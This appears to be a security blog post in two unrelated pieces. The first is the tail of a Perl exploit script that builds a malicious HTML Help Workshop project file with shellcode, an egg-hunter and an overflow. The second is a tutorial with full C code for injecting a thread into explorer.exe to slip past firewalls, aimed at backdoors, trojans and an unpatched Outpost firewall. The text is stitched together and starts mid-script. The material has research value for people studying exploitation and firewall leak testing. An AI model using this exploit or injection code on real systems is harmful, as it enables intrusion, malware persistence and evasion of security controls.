    # Oh, I think some schools use this software :) (it's Microsoft's, right?).
    #
    # You can download the app. from Microsoft's official page:
    # ->  http://msdn.microsoft.com/en-us/library/ms669985.aspx
    #
    # If you are interested in my method and want to learn something new or
    # improve your exploitation skills then visit my team's blog at:
    # ->  http://abysssec.com
    #
    # Peace out,
    # SkD.
 
    my $hhp_data1 = "\x5B\x4F\x50\x54\x49\x4F\x4E\x53".
    "\x5D\x0D\x0A\x43\x6F\x6E\x74\x65".
    "\x6E\x74\x73\x20\x66\x69\x6C\x65".
    "\x3D\x41\x0D\x0A\x49\x6E\x64\x65".
    "\x78\x20\x66\x69\x6C\x65\x3D";
    my $hhp_data2 = "\x5B\x46\x49\x4C\x45\x53\x5D\x0D".
    "\x0A\x61\x2E\x68\x74\x6D";
    my $crlf      = "\x0d\x0a";
 
    # win32_exec -  EXITFUNC=seh CMD=calc Size=330 Encoder=Alpha2 http://metasploit.com
    my $shellcode =
    "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
    "\x49\x49\x49\x49\x49\x49\x49\x48\x49\x49\x49\x49\x51\x5a\x6a\x46".
    "\x58\x30\x42\x30\x50\x42\x6b\x42\x41\x56\x42\x32\x42\x41\x41\x32".
    "\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50\x75\x58\x69\x69\x6c\x4b".
    "\x58\x62\x64\x65\x50\x67\x70\x47\x70\x6c\x4b\x42\x65\x45\x6c\x6e".
    "\x6b\x73\x4c\x53\x35\x73\x48\x45\x51\x4a\x4f\x6c\x4b\x70\x4f\x52".
    "\x38\x4c\x4b\x33\x6f\x55\x70\x57\x71\x6a\x4b\x61\x59\x4c\x4b\x36".
    "\x54\x6e\x6b\x53\x31\x48\x6e\x55\x61\x39\x50\x4d\x49\x4c\x6c\x4d".
    "\x54\x6b\x70\x74\x34\x66\x67\x4b\x71\x78\x4a\x56\x6d\x67\x71\x39".
    "\x52\x48\x6b\x4c\x34\x35\x6b\x62\x74\x56\x44\x57\x74\x54\x35\x6b".
    "\x55\x4e\x6b\x31\x4f\x65\x74\x67\x71\x5a\x4b\x50\x66\x6c\x4b\x56".
    "\x6c\x42\x6b\x6e\x6b\x53\x6f\x47\x6c\x67\x71\x7a\x4b\x6c\x4b\x45".
    "\x4c\x6c\x4b\x47\x71\x48\x6b\x4f\x79\x33\x6c\x44\x64\x73\x34\x49".
    "\x53\x70\x31\x6b\x70\x71\x74\x4e\x6b\x73\x70\x56\x50\x4b\x35\x49".
    "\x50\x62\x58\x66\x6c\x4c\x4b\x43\x70\x56\x6c\x4c\x4b\x50\x70\x45".
    "\x4c\x4c\x6d\x6c\x4b\x35\x38\x77\x78\x78\x6b\x67\x79\x4e\x6b\x6b".
    "\x30\x6c\x70\x57\x70\x63\x30\x33\x30\x4c\x4b\x32\x48\x67\x4c\x73".
    "\x6f\x35\x61\x48\x76\x71\x70\x56\x36\x6c\x49\x4a\x58\x6e\x63\x69".
    "\x50\x41\x6b\x56\x30\x65\x38\x6c\x30\x6f\x7a\x75\x54\x73\x6f\x31".
    "\x78\x4e\x78\x79\x6e\x6f\x7a\x36\x6e\x66\x37\x6b\x4f\x5a\x47\x52".
    "\x43\x65\x31\x30\x6c\x70\x63\x45\x50\x46";
 
    #/----------------Advanced Shellhunter Code----------------\
    #01D717DD   EB 1E            JMP SHORT 01D717FD            |
    #01D717DF   83C4 64          ADD ESP,64                    |
    #01D717E2   83C4 64          ADD ESP,64                    |
    #01D717E5   83C4 64          ADD ESP,64                    |
    #01D717E8   83C4 64          ADD ESP,64                    |
    #01D717EB   83C4 64          ADD ESP,64                    |
    #01D717EE   83C4 64          ADD ESP,64                    |
    #01D717F1   83C4 64          ADD ESP,64                    |
    #01D717F4   83C4 64          ADD ESP,64                    |
    #01D717F7   83C4 64          ADD ESP,64                    |
    #01D717FA   83C4 54          ADD ESP,54                    |
    #01D717FD   33FF             XOR EDI,EDI                   |
    #01D717FF   BA D0FAFD7F      MOV EDX,7FFDFAD0              |
    #01D71804   8B3A             MOV EDI,DWORD PTR DS:[EDX]    |
    #01D71806   EB 0E            JMP SHORT 01D71816            |
    #01D71808   58               POP EAX                       |
    #01D71809   83E8 3C          SUB EAX,3C                    |
    #01D7180C   50               PUSH EAX                      |
    #01D7180D   6A FF            PUSH -1                       |
    #01D7180F   33DB             XOR EBX,EBX                   |
    #01D71811   64:8923          MOV DWORD PTR FS:[EBX],ESP    |
    #01D71814   EB 05            JMP SHORT 01D7181B            |
    #01D71816   E8 EDFFFFFF      CALL 01D71808                 |
    #01D7181B   B8 12121212      MOV EAX,12121212              |
    #01D71820   6BC0 02          IMUL EAX,EAX,2                |
    #01D71823   BA D0FAFD7F      MOV EDX,7FFDFAD0              |
    #01D71828   83C7 20          ADD EDI,20                    |
    #01D7182B   893A             MOV DWORD PTR DS:[EDX],EDI    |
    #01D7182D   3907             CMP DWORD PTR DS:[EDI],EAX    |
    #01D7182F  ^75 F7            JNZ SHORT 01D71828            |
    #01D71831   83C7 04          ADD EDI,4                     |
    #01D71834   6BC0 02          IMUL EAX,EAX,2                |
    #01D71837   3907             CMP DWORD PTR DS:[EDI],EAX    |
    #01D71839  ^75 E0            JNZ SHORT 01D7181B            |
    #01D7183B   83C7 04          ADD EDI,4                     |
    #01D7183E   B8 42424242      MOV EAX,42424242              |
    #01D71843   3907             CMP DWORD PTR DS:[EDI],EAX    |
    #01D71845  ^75 D4            JNZ SHORT 01D7181B            |
    #01D71847   83C7 04          ADD EDI,4                     |
    #01D7184A   FFE7             JMP EDI                       |
    #\-----------------------End of Code----------------------/
 
    my $shellhunter = "\xeb\x1e".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x64".
    "\x83\xc4\x54".
    "\x33\xff".
    "\xba\xd0\xfa\xfd\x7f".
    "\x8b\x3a".
    "\xeb\x0e".
    "\x58".
    "\x83\xe8\x3c".
    "\x50".
    "\x6a\xff".
    "\x33\xdb".
    "\x64\x89\x23".
    "\xeb\x05".
    "\xe8\xed\xff\xff\xff".
    "\xb8\x12\x12\x12\x12".
    "\x6b\xc0\x02".
    "\xba\xd0\xfa\xfd\x7f".
    "\x83\xc7\x20".
    "\x89\x3a".
    "\x39\x07".
    "\x75\xf7".
    "\x83\xc7\x04".
    "\x6b\xc0\x02".
    "\x39\x07".
    "\x75\xe0".
    "\x83\xc7\x04".
    "\xb8\x42\x42\x42\x42".
    "\x39\x07".
    "\x75\xd4".
    "\x83\xc7\x04".
    "\xff\xe7";
    my $lookout1 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42" x 64;
    my $lookout2 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42" x 64;
    my $lookout3 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42\x42" x 64;
    my $lookout4 = "\x24\x24\x24\x24\x48\x48\x48\x48\x42\x42\x42\x42\x42\x42\x42" x 64;
    my $len = 280 - (length($shellhunter) + 55);
    my $overflow1 = "\x41" x $len;
    my $overflow2 = "\x41" x 55;
    my $overflow3 = "\x42" x 256;
    my $ret = "\x93\x1f\x40\x00"; #0x00401f93   CALL EDI [hhw.exe]
 
    open(my $hhpprj_file, "> s.hhp");
    print $hhpprj_file $hhp_data1.
    $overflow1.$shellhunter.$overflow2.$ret.
    $crlf.$crlf.
    $hhp_data2.
    $overflow3.$lookout1.$lookout2.$lookout3.$lookout4.$shellcode.$overflow3.
    $crlf;
    close $hhpprj_file;

First question is why Process  Injection ?

in this method we can attach evil Process to permitted Process . as you know , firewalls Permit to some Process , like : Internet explorer [IE] or Firefox or windows update or …  .  this Processes can connect to Internet very well [ often  ] .

Process injection , Dll injection , “PE injection “ are methods to bypass firewalls [This Methods called as  : Leak Firewall ] .

in dll injection , we injects dll  into an application process area, and references to his own malicious DLL to make firewall believes that it’s the application which is using the DLL .

Today when we talk about injection, we are talking about a DLL that is loaded into a running process’s memory.  as we know Windows is now designed for this, and injection techniques can be used by any application.  Some applications use it to add features to a closed-source program [for example : Babylon Dictionary is One of them ] .

I,m not intend to talk about these [dll ,process Injection ] at this time . and i just want  talk about Process injection [ or hijack] to bypass firewalls .

Attention To modeling :

Principle of application run [default ] :

when inclusion of a dynamic library [dll]   :

inserting malicious code in the process of confidence :

Used internet Explorer [trusted Software ] for injection :

The following illustration shows the general Code injection  with windows API method [virtualAllocEX(),..]

how to Inject Process : [with C cod ]

for firewall bypass we have 4 part :

- Open one process “P”
- Allocate memory remotely in “P” space
- Copy the code to remote process
- Create a thread to execute the code remotely
[will happen]

Example Of Process Injection In EXPLORER.EXE [code ]:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75

 
    #pragma comment(lib,"Shlwapi.lib")
    #pragma comment(lib,"ADVAPI32.LIB")
    #include <stdio.h>
    #include <windows.h>
    #include <Shlwapi.h>
    #include <tlhelp32.h>
    #define INJECT_EXE  "explorer.exe"
 
    typedef struct _RPar
    {
    DWORD dwDeleteFile;
    DWORD dwSleep;
    DWORD dwMessageBox;
    char Filename[1024];
    char string1[1024];
    char string2[1024];
    } RPar;
    DWORD __stdcall ThreadProc(RPar *Para)
    {
    FARPROC PDeleteFile = (FARPROC)Para->dwDeleteFile;
    FARPROC PSleep = (FARPROC)Para->dwSleep;
    FARPROC PMessageBox = (FARPROC)Para->dwMessageBox;
 
    PMessageBox(NULL,Para->string1,Para->string2,MB_OK);
 
    while(PDeleteFile(Para->Filename) == 0) {PSleep(1000);}
    return 0;
    }
    int _stdcall WinMain(HINSTANCE hInst, HINSTANCE hPrevInst, LPSTR lpCmd, int nCmdShow)
    {
    DWORD dwThreadId,pID=0,dwThreadSize=2048;
    void *pRemoteThread;
    char ExeFile[1024];
    HANDLE hProcess,hSnap;
    HINSTANCE hKernel, hUser;
    RPar my_RPar,*pmy_RPar;
    PROCESSENTRY32 pe32 = {0};
    if( (hSnap =CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) == INVALID_HANDLE_VALUE )
    return 3;
    pe32.dwSize = sizeof(PROCESSENTRY32);
    Process32First(hSnap, &pe32);
    do {
    if ( StrCmpNI(INJECT_EXE,pe32.szExeFile,strlen(INJECT_EXE)) == 0)
    {
    pID=pe32.th32ProcessID;
    break;
    }
    } while (Process32Next(hSnap,&pe32));
 
    if ( hSnap != INVALID_HANDLE_VALUE )
    CloseHandle(hSnap);
    hProcess = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pID);
    pRemoteThread = VirtualAllocEx(hProcess, 0, dwThreadSize, MEM_COMMIT | MEM_RESERVE,PAGE_EXECUTE_READWRITE);
 
    WriteProcessMemory(hProcess, pRemoteThread, &ThreadProc, dwThreadSize,0);
    ZeroMemory(&my_RPar,sizeof(RPar));
    hKernel = LoadLibrary( "kernel32.dll");
    my_RPar.dwDeleteFile = (DWORD)GetProcAddress(hKernel, "DeleteFileA");
    my_RPar.dwSleep = (DWORD)GetProcAddress(hKernel, "Sleep");
    hUser = LoadLibrary( "user32.dll");
    my_RPar.dwMessageBox = (DWORD)GetProcAddress(hUser, "MessageBoxA");
    GetModuleFileName(NULL,ExeFile,1024);
    printf (ExeFile);
    strcpy(my_RPar.Filename, ExeFile);
    strcpy(my_RPar.string1, "HI Abysssec");
    strcpy(my_RPar.string2, "OK");
    pmy_RPar =(RPar *)VirtualAllocEx (hProcess ,0,sizeof(RPar),MEM_COMMIT,PAGE_READWRITE);
    WriteProcessMemory(hProcess ,pmy_RPar,&my_RPar,sizeof my_RPar,0);
    CreateRemoteThread(hProcess ,0,0,(DWORD (__stdcall *)(void *))pRemoteThread ,pmy_RPar,0,&dwThreadId);
    FreeLibrary(hKernel);
    CloseHandle(hProcess);
    system("tasklist");
    return 0;
    }

what Happens When Firewall bypass ?

in servers :

we can call "Internet explorer" or  other trusted Application with [ASP.NET Execute Permission ] and run backdoor in any port .

with this method , we can telnet to open port of server without any worry  .

In Client :

Backdoor , Trojans , bad software , connect to internet without Access .

Real Word [ Discovered By Abysssec ] test :

Vulnerability Firewall [Outpost 2009 ] :

http://www.agnitum.com/products/outpost/

You can Inject Process In IE7 or Mozilla Firefox [default Trusted ] .

[Sorry For more information , This bug is not fixed  , You can test it with Process Injector tools  ].

www.tarasco.org

[pinjector.exe] :

Download Link + source :

http://www.tarasco.org/security/pinjector/index.html

Final deduction:

1- We can Bypass some firewalls : Don't checked  Allocated Memory in Trusted Process .

2- Dll , Process , PE injection is useful way to run Process without new Prosess ID [PID]  .

In Future :

1- Usage Of these Method In other bypass Protections [hybrid or frees  Protection ]

2 - PE INJECTION , why , what , where !?

More Information :

http://www.tarasco.org/security/pinjector/Win32.Design.Flaws.pdf

http://www.firewallleaktester.com/docs/leaktest.pdf

http://www.bluenotch.com/files/Shewmaker-DLL-Injection.pdf

--------------------------------------------------------------------------------------

Happy new year  and holy days

god speed you

Daphne